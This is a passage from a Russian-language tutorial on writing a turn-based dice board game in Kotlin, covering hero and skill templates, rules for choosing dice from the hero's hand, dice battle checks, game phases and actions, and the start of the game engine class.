Die(PHYSICAL, 4),
Die(PHYSICAL, 4),
Die(PHYSICAL, 4),
Die(PHYSICAL, 4),
Die(PHYSICAL, 4),
Die(PHYSICAL, 4),
Die(SOMATIC, 6),
Die(SOMATIC, 4),
Die(SOMATIC, 4),
Die(SOMATIC, 4),
Die(MENTAL, 4),
Die(VERBAL, 4),
Die(VERBAL, 4)
)
override fun getDiceCount(type: Die.Type) = when (type) {
PHYSICAL -> 8 to 12
SOMATIC -> 4 to 7
MENTAL -> 1 to 2
VERBAL -> 2 to 4
else -> null
}
override val initialSkills = listOf(
HitSkillTemplate()
)
override val dormantSkills = listOf()
}
class HunterHeroTemplate : HeroTemplate {
override val type = Hero.Type.HUNTER
override val favoredDieType = SOMATIC
override val initialHandCapacity = 5
override val initialDice = listOf(
Die(PHYSICAL, 4),
Die(PHYSICAL, 4),
Die(PHYSICAL, 4),
Die(SOMATIC, 6),
Die(SOMATIC, 6),
Die(SOMATIC, 4),
Die(SOMATIC, 4),
Die(SOMATIC, 4),
Die(SOMATIC, 4),
Die(SOMATIC, 4),
Die(MENTAL, 6),
Die(MENTAL, 4),
Die(MENTAL, 4),
Die(MENTAL, 4),
Die(VERBAL, 4)
)
override fun getDiceCount(type: Die.Type) = when (type) {
PHYSICAL -> 3 to 5
SOMATIC -> 7 to 11
MENTAL -> 4 to 7
VERBAL -> 1 to 2
else -> null
}
override val initialSkills = listOf(
ShootSkillTemplate()
)
override val dormantSkills = listOf()
}
```
Но прежде чем писать генератор, определим шаблон для навыков.
```
interface SkillTemplate {
val type: Skill.Type
val maxLevel: Int
val modifier1: Int
val modifier2: Int
val isActive
get() = true
}
class HitSkillTemplate : SkillTemplate {
override val type = Skill.Type.HIT
override val maxLevel = 3
override val modifier1 = +1
override val modifier2 = +3
}
class ShootSkillTemplate : SkillTemplate {
override val type = Skill.Type.SHOOT
override val maxLevel = 3
override val modifier1 = +0
override val modifier2 = +2
}
```
К сожалению, клепать навыки пачками так же, как врагов и сценарии, нам не удастся. Каждый новый навык требует расширения игровой механики, добавления нового кода в игровой движок — даже с героями в этом плане проще. Возможно, этот процесс и можно абстрагировать, но я способа пока не придумал. Да и не слишком пытался, если честно.
```
fun generateSkill(template: SkillTemplate, initialLevel: Int = 1): Skill {
val skill = Skill(template.type)
skill.isActive = template.isActive
skill.level = initialLevel
skill.maxLevel = template.maxLevel
skill.modifier1 = template.modifier1
skill.modifier2 = template.modifier2
return skill
}
fun generateHero(type: Hero.Type, name: String = ""): Hero {
val template = when (type) {
BRAWLER -> BrawlerHeroTemplate()
HUNTER -> HunterHeroTemplate()
}
val hero = Hero(type)
hero.name = name
hero.isAlive = true
hero.favoredDieType = template.favoredDieType
hero.hand.capacity = template.initialHandCapacity
template.initialDice.forEach { hero.bag.put(it) }
for ((t, l) in Die.Type.values().map { it to template.getDiceCount(it) }) {
l?.let { hero.addDiceLimit(DiceLimit(t, it.first, it.second, it.first)) }
}
template.initialSkills
.map { generateSkill(it) }
.forEach { hero.addSkill(it) }
template.dormantSkills
.map { generateSkill(it, 0) }
.forEach { hero.addDormantSkill(it) }
return hero
}
```
Сразу несколько моментов бросаются в глаза. Во-первых, метод генерации сам подбирает нужный шаблон в зависимости от класса героя. Во-вторых, имя не обязательно задавать сразу (иногда на этапе генерации мы еще не будем его знать). В-третьих, Kotlin привнес невиданное доселе количество синтаксического сахара, коим некоторые разработчики без меры злоупотребляют. И ни капли того не стыдятся.
Шаг восьмой. Игровой цикл
-------------------------
Наконец-то мы подобрались к самому интересному — реализации игрового цикла. Говоря по-простому, начали «делать игру». Многие начинающие разработчики частенько именно с этого этапа и начинают, не считая игроделанием все остальное. Особенно всякие бессмысленные схемки рисовать, пффф… Но мы не станем торопиться (до утра еще далеко), а потому еще немного моделирования. Да, опять.
**Диаграмма деятельности**[](https://habrastorage.org/webt/up/tm/6t/uptm6t8obpw80m3_cr1i6b9q62e.png)
Как видите, приведенный фрагмент игрового цикла на порядок меньше чем то, что мы приводили выше. Мы рассмотрим лишь процесс передачи хода, исследования местности (причем опишем встречу только с двумя типами кубиков) и сброса кубиков в конце хода. А еще завершение сценария проигрышем (да, победить в нашей игре пока не получится) — а как вы хотели? Таймер будет уменьшаться каждый ход, и по его завершении что-то нужно делать. Например, вывести сообщение и завершить игру — все, как в правилах написано. Еще игру нужно завершать при смерти героев, но наносить вред им никто не будет, потому оставим. Для победы же нужно закрыть все местности, что сложно даже в случае, если она всего одна. Потому оставим и этот момент. Нет смысла слишком распыляться — нам важно понять суть, а остальное доделать уже позже, в свободное время (вернее мне — доделать, а вам — пойти писать игру *своей* мечты).
Итак, первым делом необходимо определиться с тем, какие объекты нам нужны.
**Герои. Сценарий. Локации.**
Выше мы уже рассмотрели процесс их создания — не будем повторяться. Отметим только шаблон местности, который будем использовать в нашем маленьком примере.
```
class TestLocationTemplate : LocationTemplate {
override val name = "Test"
override val description = "Some Description"
override val basicClosingDifficulty = 0
override val enemyCardsCount = 0
override val obstacleCardsCount = 0
override val bagTemplate = BagTemplate().apply {
addPlan(2, 2, SingleDieTypeFilter(Die.Type.PHYSICAL))
addPlan(2, 2, SingleDieTypeFilter(Die.Type.SOMATIC))
addPlan(2, 2, SingleDieTypeFilter(Die.Type.MENTAL))
addPlan(2, 2, SingleDieTypeFilter(Die.Type.VERBAL))
addPlan(2, 2, SingleDieTypeFilter(Die.Type.DIVINE))
}
override val enemyCardPool = emptyList()
override val obstacleCardPool = emptyList()
override val specialRules = emptyList()
}
```
Как видите, в сумке лежат только «позитивные» кубики — синие, зеленые, фиолетовые, желтые и голубые. Врагов и препятствий в местности нет, злодеи и раны не водятся. Каких-то особых правил тоже нет — их реализация весьма второстепенна.
**Куча для удержанных кубиков.**
Или deterrent pile. Поскольку мы положили голубые кубики в сумку местности, их можно будет использовать в проверках и после использования удерживать в специальной куче. Для этого пригодится экземпляр класса `Pile`.
**Модификаторы.**
То есть, числовые значения, которые необходимо добавлять или вычитать из результата броска кубика. Можно реализовать либо глобальный модификатор, либо отдельный модификор для кажого кубика. Мы выберем второй вариант (так нагляднее), потому создадим простой класс `DiePair`.
```
class DiePair(val die: Die, var modifier: Int = 0)
```
**Расположение героев в местности.**
По-хорошему, этот момент нужно отслеживать при помощи специальной структуры. Например, карты вида `Map>`, где каждая местность будет содержать список героев, находящихся в ней в данный момент (а также метод для обратного — определения местности, в которой конкретный герой находится). Если вы решитесь идти этим путем, то не забудьте добавить в класс `Location` реализации методов `equals()` и `hashCode()` — надеюсь, не нужно объяснять зачем. Мы же не станем тратить на это время, так как местность всего одна и герои из нее никуда не уходят.
**Проверка руки героя.**
В процессе игры героям постоянно приходится проходить проверки (о которых ниже), то есть брать кубики из руки, бросать их (добавлять модификаторы), агрегировать результаты, если кубиков несколько (суммировать, брать максимальный/минимальный, средний итп), сравнивать их с броском другого кубика (того, который вынут из сумки местности) и в зависимости от результата выполнять последующие действия. Но прежде всего необходимо понять, способен ли герой в принципе пройти проверку, то есть, есть ли у него в руке нужные кубики. Для этого предусмотрим простой интерфейс `HandFilter`.
```
interface HandFilter {
fun test(hand: Hand): Boolean
}
```
Реализации интерфейса принимают на вход руку героя (объект класса `Hand`) и возвращают `true` или `false` в зависимости от результатов проверки. Для нашего фрагмента игры понадобится единственная реализация: если встречен синий, зеленый, фиолетовый или желтый кубик, нужно определить, есть ли в руке героя кубик такого же цвета.
```
class SingleDieHandFilter(private vararg val types: Die.Type) : HandFilter {
override fun test(hand: Hand) =
(0 until hand.dieCount).mapNotNull { hand.dieAt(it) }.any { it.type in types }
|| (Die.Type.ALLY in types && hand.allyDieCount > 0)
}
```
Да, опять функциональщина.
**Активные/выбранные позиции.**
Теперь, когда мы убедились, что рука героя подходит для выполнения проверки, необходимо, чтобы игрок выбрал из руки тот кубик (или кубики), при помощи которого он эту проверку будет проходить. Во-первых, нужно выделить (подсветить) подходящие позиции (в которых есть кубики нужного типа). Во-вторых, нужно как-то отмечать выбранные кубики. Для обоих этих требований подойдет класс `HandMask`, который, по сути, содержит набор целых чисел (номеров выбранных позиций) и методы для их добавления и удаления.
```
class HandMask {
private val positions = mutableSetOf()
private val allyPositions = mutableSetOf()
val positionCount
get() = positions.size
val allyPositionCount
get() = allyPositions.size
fun addPosition(position: Int) = positions.add(position)
fun removePosition(position: Int) = positions.remove(position)
fun addAllyPosition(position: Int) = allyPositions.add(position)
fun removeAllyPosition(position: Int) = allyPositions.remove(position)
fun checkPosition(position: Int) = position in positions
fun checkAllyPosition(position: Int) = position in allyPositions
fun switchPosition(position: Int) {
if (!removePosition(position)) {
addPosition(position)
}
}
fun switchAllyPosition(position: Int) {
if (!removeAllyPosition(position)) {
addAllyPosition(position)
}
}
fun clear() {
positions.clear()
allyPositions.clear()
}
}
```
Я уже говорил, как я страдаю от «гениальной» идеи хранить белые кубики в отдельной руке? Из-за этой глупости приходится управляться с двумя наборами и дублировать каждый из представленных методов. Если у кого-то есть идеи, как упростить реализацию этого требования (например, использовать один набор, но у белых кубиков индексы начинаются с сотни — или еще что-то в той же степени невразумительное) — делитесь ими в коментариях.
Кстати, похожий класс нужно реализовать для выбора кубиков из кучи (`PileMask`), но эта функциональность находится за пределами рассматриваемого примера.
**Выбор кубиков из руки.**
Но мало «подсветить» допустимые позиции, важно менять эту «подсветку» в процессе выбора кубиков. То есть, если от игрока требуется взять из руки только один кубик, то при выборе этого кубика, все остальные позиции должны стать недоступными. Более того, на каждом этапе необходимо контролировать выполнение игроком цели — то есть, понимать, достаточно ли выбранных кубиков для прохождения той или иной проверки. Такая сложная задача требует непростой экземпляр непростого класса.
```
abstract class HandMaskRule(val hand: Hand) {
abstract fun checkMask(mask: HandMask): Boolean
abstract fun isPositionActive(mask: HandMask, position: Int): Boolean
abstract fun isAllyPositionActive(mask: HandMask, position: Int): Boolean
fun getCheckedDice(mask: HandMask): List {
return ((0 until hand.dieCount).filter(mask::checkPosition).map(hand::dieAt))
.plus((0 until hand.allyDieCount).filter(mask::checkAllyPosition).map(hand::allyDieAt))
.filterNotNull()
}
}
```
Довольно сложная логика, я пойму и прощу вас, если этот класс окажется для вас непонятным. И все же попытаюсь объяснить. Реализации этого класса всегда хранят ссылку на руку (объект `Hand`), с которой будут иметь дело. Каждый из методов принимает на вход маску (`HandMask`), отражающую текущее состояние выбора (какие позиции выбраны игроком, а какие нет). Метод `checkMask()` сообщает, достаточно ли выбранных кубиков для прохождения проверки. Метод `isPositionActive()` говорит, нужно ли подсвечивать конкретную позицию — можно ли добавить к проверке находящийся в этой позиции кубик (или убрать кубик, который уже выбран). Метод `isAllyPositionActive()` — то же самое для белых кубик (да, знаю, я идиот). Ну и вспомогательный метод `getCheckedDice()` попросту возвращает список всех кубиков из руки, которые соответствуют маске — это нужно для того чтобы всех их разом взять, бросить на стол и наслаждаться веселым стуком, с коим они разлетаются в разные стороны.
Реализаций этого абстрактного класса нам понадобится две (сюрприз, сюрприз!). Первая контролирует процесс прохождения проверки при приобретении нового кубика конкретного типа (не белого). Как вы помните, к такой проверке можно добавлять любое количество голубых кубиков.
```
class StatDieAcquireHandMaskRule(hand: Hand,
private val requiredType: Die.Type)
: HandMaskRule(hand) {
/**
* Define how many dice of specified type are currently checked
*/
private fun checkedDieCount(mask: HandMask) =
(0 until hand.dieCount)
.filter(mask::checkPosition)
.mapNotNull(hand::dieAt)
.count { it.type === requiredType }
override fun checkMask(mask: HandMask) =
(mask.allyPositionCount == 0 && checkedDieCount(mask) == 1)
override fun isPositionActive(mask: HandMask, position: Int) =
with(hand.dieAt(position)) {
when {
mask.checkPosition(position) -> true
this == null -> false
this.type === Die.Type.DIVINE -> true
this.type === requiredType && checkedDieCount(mask) < 1 -> true
else -> false
}
}
override fun isAllyPositionActive(mask: HandMask, position: Int) = false
}
```
Вторая реализация сложнее. Она управляет процессом сброса кубиков в конце хода. При этом возможны два варианта. Если количество кубиков в руке превышает ее максимально допустимый размер (capacity), мы должны сбросить все лишние кубики плюс любое количество дополнительных кубиков (если хотим). Если же размер не превышается, то можно ничего не сбрасывать (а можно и сбросить, по желанию). Серые кубики ни в одном из случаев сбрасывать нельзя.
```
class DiscardExtraDiceHandMaskRule(hand: Hand) : HandMaskRule(hand) {
private val minDiceToDiscard = if (hand.dieCount > hand.capacity) min(hand.dieCount - hand.woundCount, hand.dieCount - hand.capacity) else 0
private val maxDiceToDiscard = hand.dieCount - hand.woundCount
override fun checkMask(mask: HandMask) =
(mask.positionCount in minDiceToDiscard..maxDiceToDiscard) &&
(mask.allyPositionCount in 0..hand.allyDieCount)
override fun isPositionActive(mask: HandMask, position: Int) = when {
mask.checkPosition(position) -> true
hand.dieAt(position) == null -> false
hand.dieAt(position)!!.type == Die.Type.WOUND -> false
mask.positionCount < maxDiceToDiscard -> true
else -> false
}
override fun isAllyPositionActive(mask: HandMask, position: Int) = hand.allyDieAt(position) != null
}
```
Нежданчик: в классе `Hand` вдруг появилось свойство `woundCount`, которого раньше не было. Его реализацию можете написать сами, это несложно. Заодно попрактикуетесь.
**Прохождение проверок.**
Наконец добрались до них. Когда кубики взяты из руки, пришла пора их бросать. Для каждого кубика необходимо учитывать: его размер, его модификаторы, результат его броска. Хотя из сумки местности одновременно можно вынимать лишь один кубик, против него можно выставлять несколько кубиков, аггрегируя результаты их бросков. Вообще, давайте абстрагируемся от кубиков и представим войска на поле боя. С одной стороны у нас враг — он всего лишь один, но он силен и свиреп. С другой стороны равный ему по силе соперник, но с поддержкой. Исход битвы решится в одной короткой стычке, победитель может быть лишь один…
Извините, увлекся. Для моделирования нашего генерального сражения реализуем специальный класс.
```
class DieBattleCheck(val method: Method, opponent: DiePair? = null) {
enum class Method { SUM, AVG_UP, AVG_DOWN, MAX, MIN }
private inner class Wrap(val pair: DiePair, var roll: Int)
private infix fun DiePair.with(roll: Int) = Wrap(this, roll)
private val opponent: Wrap? = opponent?.with(0)
private val heroics = ArrayList()
var isRolled = false
var result: Int? = null
val heroPairCount
get() = heroics.size
fun getOpponentPair() = opponent?.pair
fun getOpponentResult() = when {
isRolled -> opponent?.roll ?: 0
else -> throw IllegalStateException("Not rolled yet")
}
fun addHeroPair(pair: DiePair) {
if (method == Method.SUM && heroics.size > 0) {
pair.modifier = 0
}
heroics.add(pair with 0)
}
fun addHeroPair(die: Die, modifier: Int) = addHeroPair(DiePair(die, modifier))
fun clearHeroPairs() = heroics.clear()
fun getHeroPairAt(index: Int) = heroics[index].pair
fun getHeroResultAt(index: Int) = when {
isRolled -> when {
(index in 0 until heroics.size) -> heroics[index].roll
else -> 0
}
else -> throw IllegalStateException("Not rolled yet")
}
fun roll() {
fun roll(wrap: Wrap) {
wrap.roll = wrap.pair.die.roll()
}
isRolled = true
opponent?.let { roll(it) }
heroics.forEach { roll(it) }
}
fun calculateResult() {
if (!isRolled) {
throw IllegalStateException("Not rolled yet")
}
val opponentResult = opponent?.let { it.roll + it.pair.modifier } ?: 0
val stats = heroics.map { it.roll + it.pair.modifier }
val heroResult = when (method) {
DieBattleCheck.Method.SUM -> stats.sum()
DieBattleCheck.Method.AVG\_UP -> ceil(stats.average()).toInt()
DieBattleCheck.Method.AVG\_DOWN -> floor(stats.average()).toInt()
DieBattleCheck.Method.MAX -> stats.max() ?: 0
DieBattleCheck.Method.MIN -> stats.min() ?: 0
}
result = heroResult - opponentResult
}
}
```
Поскольку каждый кубик может иметь модификатор, хранить данные будем в объектах `DiePair`. Вроде бы. На самом деле, нет, так как помимо кубика и модификатора нужно хранить еще и результат его броска (помните, сам кубик хоть и генерирует это значение, но не хранит его среди своих свойств). Поэтому обернем каждую пару в обертку (`Wrap`). Обратите внимание на инфиксный метод `with`, хе-хе.
В конструкторе класса задается метод аггрегации (экземпляр внутреннего перечисления `Method`) и оппонент (которого может и не быть). Список кубиков героя формируется при помощи соответствующих методов. Также предусмотрена куча методов для получения пар, участвующих в проверке, и результатов их бросков (если они есть).
Метод `roll()` вызывает одноименной метод каждого кубика, сохраняет промежуточные результаты и отмечает факт своего выполнения флагом `isRolled`. Обратите внимание, что финальный результат броска не вычисляется сразу — для этого есть специальный метод `calculateResult()`, результатом выполнения которого является запись конечного значения в свойство `result`. Зачем это нужно? Для драматического эффекта. Метод `roll()` будет запускаться несколько раз, каждый раз на гранях кубиков будут отображаться разные значения (прямо как в реальной жизни). И только когда кубики успокоятся на столе, мы узнаем ~~нашу судьбу~~ финальный результат (разность значений кубиков героя и кубика-оппонента). Для снятия напряжения скажу, что результат **0** будет считаться успешным прохождением проверки.
**Состояние игрового движка.**
Со сложными объектами разобрались, теперь вещи попроще. Не будет большим открытием сказать, что нам необходимо контролировать текущий «прогресс» игрового движка, этап или фазу (phase), в которой он находится. Для этого пригодится специальное перечисление.
```
enum class GamePhase {
SCENARIO_START,
HERO_TURN_START,
HERO_TURN_END,
LOCATION_BEFORE_EXPLORATION,
LOCATION_ENCOUNTER_STAT,
LOCATION_ENCOUNTER_DIVINE,
LOCATION_AFTER_EXPLORATION,
GAME_LOSS
}
```
На самом деле фаз больше, но мы отобрали только те, которые используются в нашем примере. Для смены фазы игрового движка будем использовать методы `changePhaseX()`, где `X` — значение из приведенного выше перечисления. В этих методах все внутренние переменные движка будут приводиться к адекватным для начала соответствующей фазы значениям, но об этом позже.
**Сообщения.**
Хранить состояние игрового движка недостаточно. Важно еще и пользователю как-то о нем сообщать — иначе как последний узнает, что вообще у него на экране происходит? Именно поэтому нам нужно еще одно перечисление.
```
enum class StatusMessage {
EMPTY,
CHOOSE_DICE_PERFORM_CHECK,
END_OF_TURN_DISCARD_EXTRA,
END_OF_TURN_DISCARD_OPTIONAL,
CHOOSE_ACTION_BEFORE_EXPLORATION,
CHOOSE_ACTION_AFTER_EXPLORATION,
ENCOUNTER_PHYSICAL,
ENCOUNTER_SOMATIC,
ENCOUNTER_MENTAL,
ENCOUNTER_VERBAL,
ENCOUNTER_DIVINE,
DIE_ACQUIRE_SUCCESS,
DIE_ACQUIRE_FAILURE,
GAME_LOSS_OUT_OF_TIME
}
```
Как видите, все возможные состояния из нашего примера описываются значениями этого перечисления. Для каждого из них предусмотрена текстовая строка, которая и будет отображаться на экране (кроме `EMPTY` — это специальное значение), но мы узнаем об этом чуть позже.
**Действия.**
Для коммуникации между пользователем и игровым движком простых сообщений недостаточно. Важно еще сообщить первому о тех действиях, которые он в данный момент может совершать (исследовать, передать кубики, завершить ход — вот это все добро). Для этого разработаем специальный класс.
```
class Action(
val type: Type,
var isEnabled: Boolean = true,
val data: Int = 0
) {
enum class Type {
NONE, //Blank type
CONFIRM, //Confirm some action
CANCEL, //Cancel action
HAND_POSITION, //Some position in hand
HAND_ALLY_POSITION, //Some ally position in hand
EXPLORE_LOCATION, //Explore current location
FINISH_TURN, //Finish current turn
ACQUIRE, //Acquire (DIVINE) die
FORFEIT, //Remove die from game
HIDE, //Put die into bag
DISCARD, //Put die to discard pile
}
}
```
Внутреннее перечисление `Type` описывает тип совершаемого действия. Поле `isEnabled` нужно для того, чтобы отображать действия в неактивном состоянии. То есть, сообщать, что это действие обычно доступно, но в данный момент по какой-то причине не может быть выполнено (такое отображение гораздо более информативно, чем когда действие не отображается вовсе). Свойство `data` (необходимо для некоторых типов действий) хранит специальное значение, сообщающее какие-то дополнительные детали (например, индекс выбранной пользователем позиции или номер выбранного пункта из списка).
Клас `Action` является главным «интерфейсом» между игровым движком и системами ввода-вывода (о которых ниже). Поскольку действий зачастую несколько (иначе зачем тогда выбор?), они будут объединяться в группы (списки). Вместо использования стандартных коллекций, напишем свою, расширенную.
```
class ActionList : Iterable {
private val actions = mutableListOf()
val size
get() = actions.size
fun add(action: Action): ActionList {
actions.add(action)
return this
}
fun add(type: Action.Type, enabled: Boolean = true): ActionList {
add(Action(type, enabled))
return this
}
fun addAll(actions: ActionList): ActionList {
actions.forEach { add(it) }
return this
}
fun remove(type: Action.Type): ActionList {
actions.removeIf { it.type == type }
return this
}
operator fun get(index: Int) = actions[index]
operator fun get(type: Action.Type) = actions.find { it.type == type }
override fun iterator(): Iterator = ActionListIterator()
private inner class ActionListIterator : Iterator {
private var position = -1
override fun hasNext() = (actions.size > position + 1)
override fun next() = actions[++position]
}
companion object {
val EMPTY
get() = ActionList()
}
}
```
Класс содержит много разных методов для добавления и удаления действий из списка (которые можно объединять в цепочки), а также получения как по индексу, так и по типу (обратите внимание на «перегрузку» `get()` — к нашему списку применим оператор квадратных скобок). Реализация интерфейса `Iterator` позволяет проделывать с нашим классом ~~all sorts of crazy shit~~ различные потоковые манипуляции (функциональщина, ага). Также предусмотрено значение EMPTY для быстрого создания пустого списка.
**Экраны.**
Напоследок еще одно перечисление, которое описывает различные типы отображаемого в данный момент контента… Вы смотрите на меня и хлопаете глазами, я знаю. Когда я начал придумывать, как бы попонятнее описать этот класс, я ударился головой об стол, потому ничего толком сообразить не смог. Сами поймете, я надеюсь.
```
enum class GameScreen {
HERO_TURN_START,
LOCATION_INTERIOR,
GAME_LOSS
}
```
Отобрал только те, которые используются в примере. Для каждого из них будет предусмотрен отдельный метод отрисовки… я опять непонятно объясняю.
**«Отображалка» и «вводилка».**
И вот мы наконец подошли к самому важному моменту — взаимодейтствию игрового движка с пользователем (игроком). Если столь длинное вступление вас еще не утомило, то вы наверняка помните, что мы договорились функционально отделить две эти части друг от друга. Поэтому вместо конкретной реализации системы ввода-вывода мы предоставим лишь интерфейс. Точнее, два.
Первый интерфейс, `GameRenderer`, предназначен для отображения картинки на экране. Напоминаю, мы абстрагируемся от размеров экрана, от конкретных графических библиотек итп. Мы просто отсылаем команду: «отрисуй-ка мне вот это» — и те из вас, кто понял наш невнятный разговор об экранах, уже догадался, что для каждого из таких экранов в рамках интерфейса предусмотрен свой собственный метод.
```
interface GameRenderer {
fun drawHeroTurnStart(hero: Hero)
fun drawLocationInteriorScreen(
location: Location,
heroesAtLocation: List,
timer: Int,
currentHero: Hero,
battleCheck: DieBattleCheck?,
encounteredDie: DiePair?,
pickedDice: HandMask,
activePositions: HandMask,
statusMessage: StatusMessage,
actions: ActionList
)
fun drawGameLoss(message: StatusMessage)
}
```
Думаю, дополнительтных объяснений здесь не нужно — предназначение всех передаваемых объектов подробно рассмотрено выше.
Для пользовательского ввода реализуем другой интерфейс — `GameInteractor` (да, скрипты проверки орфографии отныне всегда будут подчеркивать это слово, хотя казалось бы...). Его методы будут запрашивать у игрока требуемые команды для различных ситуаций: выбрать действие из списка предложенных, выбрать элемент из списка, выбрать кубики с руки, просто хоть что-то нажать итп. Следует сразу отметить, что ввод происходит синхронно (игра-то у нас пошаговая), то есть выполнение игрового цикла приостанавливается до тех пор, пока пользователь не ответит на запрос.
```
interface GameInteractor{
fun anyInput()
fun pickAction(list: ActionList): Action
fun pickDiceFromHand(activePositions: HandMask, actions: ActionList): Action
}
```
Про последний метод чуть подробнее. Как видно из названия, от предлагает пользователю выбрать кубики из руки, предоставляя объект `HandMask` — номера активных позиций. Выполнение метода будет продолжаться до тех пор пока какая-то их них не будет выбрана — в этом случае метод вернет действие типа `HAND_POSITION` (или `HAND_ALLY_POSITION`, мда) с номером выбранной позиции в поле `data`. Кроме того, возможно выбрать другое действие (например, `CONFIRM` или `CANCEL`) из объекта `ActionList`. Реализации методов ввода должны различать ситуации когда поле `isEnabled` выставлено в `false` и игнорировать ввод пользователем таких действий.
**Класс игрового движка.**
Все необходимое для работы добро мы рассмотрели, пришло время и движок реализовать. Создадим класс `Game` со следующим наполнением:
**Извините, такое нельзя показывать впечатлительным людям**
```
class Game(
private val renderer: GameRenderer,
private val interactor: GameInteractor,
private val scenario: Scenario,
private val locations: List,
private val heroes: List) {
private var timer = 0
private var currentHeroIndex = -1
private lateinit var currentHero: Hero
private lateinit var currentLocation: Location
private val deterrentPile = Pile()
private var encounteredDie: DiePair? = null
private var battleCheck: DieBattleCheck? = null
private val activeHandPositions = HandMask()
private val pickedHandPositions = HandMask()
private var phase: GamePhase = GamePhase.SCENARIO\_START
private var screen = GameScreen.SCENARIO\_INTRO
private var statusMessage = StatusMessage.EMPTY
private var actions: ActionList = ActionList.EMPTY
fun start() {
if (heroes.isEmpty()) throw IllegalStateException("Heroes list is empty!")
if (locations.isEmpty()) throw IllegalStateException("Location list is empty!")
heroes.forEach { it.isAlive = true }
timer = scenario.initialTimer
//Draw initial hand for each hero
heroes.forEach(::drawInitialHand)
//First hero turn
currentHeroIndex = -1
changePhaseHeroTurnStart()
processCycle()
}
private fun drawInitialHand(hero: Hero) {
val hand = hero.hand
val favoredDie = hero.bag.drawOfType(hero.favoredDieType)
hand.addDie(favoredDie!!)
refillHeroHand(hero, false)
}
private fun refillHeroHand(hero: Hero, redrawScreen: Boolean = true) {
val hand = hero.hand
while (hand.dieCount < hand.capacity && hero.bag.size > 0) {
val die = hero.bag.draw()
hand.addDie(die)
if (redrawScreen) {
Audio.playSound(Sound.DIE\_DRAW)
drawScreen()
Thread.sleep(500)
}
}
}
private fun changePhaseHeroTurnEnd() {
battleCheck = null
encounteredDie = null
phase = GamePhase.HERO\_TURN\_END
//Discard extra dice (or optional dice)
val hand = currentHero.hand
pickedHandPositions.clear()
activeHandPositions.clear()
val allowCancel =
if (hand.dieCount > hand.capacity) {
statusMessage = StatusMessage.END\_OF\_TURN\_DISCARD\_EXTRA
false
} else {
statusMessage = StatusMessage.END\_OF\_TURN\_DISCARD\_OPTIONAL
true
}
val result = pickDiceFromHand(DiscardExtraDiceHandMaskRule(hand), allowCancel)
statusMessage = StatusMessage.EMPTY
actions = ActionList.EMPTY
if (result) {
val discardDice = collectPickedDice(hand)
val discardAllyDice = collectPickedAllyDice(hand)
pickedHandPositions.clear()
(discardDice + discardAllyDice).forEach { die ->
Audio.playSound(Sound.DIE\_DISCARD)
currentHero.discardDieFromHand(die)
drawScreen()
Thread.sleep(500)
}
}
pickedHandPositions.clear()
//Replenish hand
refillHeroHand(currentHero)
changePhaseHeroTurnStart()
}
private fun changePhaseHeroTurnStart() {
phase = GamePhase.HERO\_TURN\_START
screen = GameScreen.HERO\_TURN\_START
//Tick timer
timer--
if (timer < 0) {
changePhaseGameLost(StatusMessage.GAME\_LOSS\_OUT\_OF\_TIME)
return
}
//Pick next hero
do {
currentHeroIndex = ++currentHeroIndex % heroes.size
currentHero = heroes[currentHeroIndex]
} while (!currentHero.isAlive)
currentLocation = locations[0]
//Setup
Audio.playMusic(Music.SCENARIO\_MUSIC\_1)
Audio.playSound(Sound.TURN\_START)
}
private fun changePhaseLocationBeforeExploration() {
phase = GamePhase.LOCATION\_BEFORE\_EXPLORATION
screen = GameScreen.LOCATION\_INTERIOR
encounteredDie = null
battleCheck = null
pickedHandPositions.clear()
activeHandPositions.clear()
statusMessage = StatusMessage.CHOOSE\_ACTION\_BEFORE\_EXPLORATION
actions = ActionList()
actions.add(Action.Type.EXPLORE\_LOCATION, checkLocationCanBeExplored(currentLocation))
actions.add(Action.Type.FINISH\_TURN)
}
private fun changePhaseLocationEncounterStatDie() {
Audio.playSound(Sound.ENCOUNTER\_STAT)
phase = GamePhase.LOCATION\_ENCOUNTER\_STAT
screen = GameScreen.LOCATION\_INTERIOR
battleCheck = null
pickedHandPositions.clear()
activeHandPositions.clear()
statusMessage = when (encounteredDie!!.die.type) {
Die.Type.PHYSICAL -> StatusMessage.ENCOUNTER\_PHYSICAL
Die.Type.SOMATIC -> StatusMessage.ENCOUNTER\_SOMATIC
Die.Type.MENTAL -> StatusMessage.ENCOUNTER\_MENTAL
Die.Type.VERBAL -> StatusMessage.ENCOUNTER\_VERBAL
else -> throw AssertionError("Should not happen")
}
val canAttemptCheck = checkHeroCanAttemptStatCheck(currentHero, encounteredDie!!.die.type)
actions = ActionList()
actions.add(Action.Type.HIDE, canAttemptCheck)
actions.add(Action.Type.DISCARD, canAttemptCheck)
actions.add(Action.Type.FORFEIT)
}
private fun changePhaseLocationEncounterDivineDie() {
Audio.playSound(Sound.ENCOUNTER\_DIVINE)
phase = GamePhase.LOCATION\_ENCOUNTER\_DIVINE
screen = GameScreen.LOCATION\_INTERIOR
battleCheck = null
pickedHandPositions.clear()
activeHandPositions.clear()
statusMessage = StatusMessage.ENCOUNTER\_DIVINE
actions = ActionList()
actions.add(Action.Type.ACQUIRE, checkHeroCanAcquireDie(currentHero, Die.Type.DIVINE))
actions.add(Action.Type.FORFEIT)
}
private fun changePhaseLocationAfterExploration() {
phase = GamePhase.LOCATION\_AFTER\_EXPLORATION
screen = GameScreen.LOCATION\_INTERIOR
encounteredDie = null
battleCheck = null
pickedHandPositions.clear()
activeHandPositions.clear()
statusMessage = StatusMessage.CHOOSE\_ACTION\_AFTER\_EXPLORATION
actions = ActionList()
actions.add(Action.Type.FINISH\_TURN)
}
private fun changePhaseGameLost(message: StatusMessage) {
Audio.stopMusic()
Audio.playSound(Sound.GAME\_LOSS)
phase = GamePhase.GAME\_LOSS
screen = GameScreen.GAME\_LOSS
statusMessage = message
}
private fun pickDiceFromHand(rule: HandMaskRule, allowCancel: Boolean = true, onEachLoop: (() -> Unit)? = null): Boolean {
//Preparations
pickedHandPositions.clear()
actions = ActionList().add(Action.Type.CONFIRM, false)
if (allowCancel) {
actions.add(Action.Type.CANCEL)
}
val hand = rule.hand
while (true) {
//Recurring action
onEachLoop?.invoke()
//Define success condition
val canProceed = rule.checkMask(pickedHandPositions)
actions[Action.Type.CONFIRM]?.isEnabled = canProceed
//Prepare active hand commands
activeHandPositions.clear()
(0 until hand.dieCount)
.filter { rule.isPositionActive(pickedHandPositions, it) }
.forEach { activeHandPositions.addPosition(it) }
(0 until hand.allyDieCount)
.filter { rule.isAllyPositionActive(pickedHandPositions, it) }
.forEach { activeHandPositions.addAllyPosition(it) }
//Draw current phase
drawScreen()
//Process interaction result
val result = interactor.pickDiceFromHand(activeHandPositions, actions)
when (result.type) {
